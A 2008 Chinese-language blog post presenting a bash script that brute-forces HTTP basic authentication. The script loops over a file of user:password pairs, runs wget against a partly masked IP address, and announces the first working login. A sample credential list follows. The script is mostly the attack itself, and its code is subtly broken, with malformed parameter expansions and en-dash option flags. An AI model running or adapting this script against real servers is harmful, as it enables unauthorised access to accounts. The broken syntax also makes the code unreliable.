ubuntu,debian,redhat,fedora,centos
« »
2008-04-09Shell

2

暴力破解HTTP验证检测页面口令

#!/bin/bash
#
user_password_file=/root/wget_cracker_user_password
while read user_password ; do
user=$(user_password#:}
password=$(user_password%:}
wget -q -t 2 -T 15 –http-user=$user –http-password=$password -http://222.136.x.x:8080/tool.asp
if [ $? -eq 0 ] ; then
  echo “OK I got an password:     user: $user ; password: $password !”
        exit 0
fi
done < $user_password_file
exit 0


-bash-3.00# cat wget_cracker_user_password
abc:adeeffaf
deff:afkafsasf
guest:affaewf
guest:guest
guest:afdasf

您还可能感兴趣的内容

日志信息 »

该日志于2008-04-09 04:13由 x72 发表在Shell分类下, 通告目前不可用,你可以至底部留下评论。

没有评论

发表评论 »

返回顶部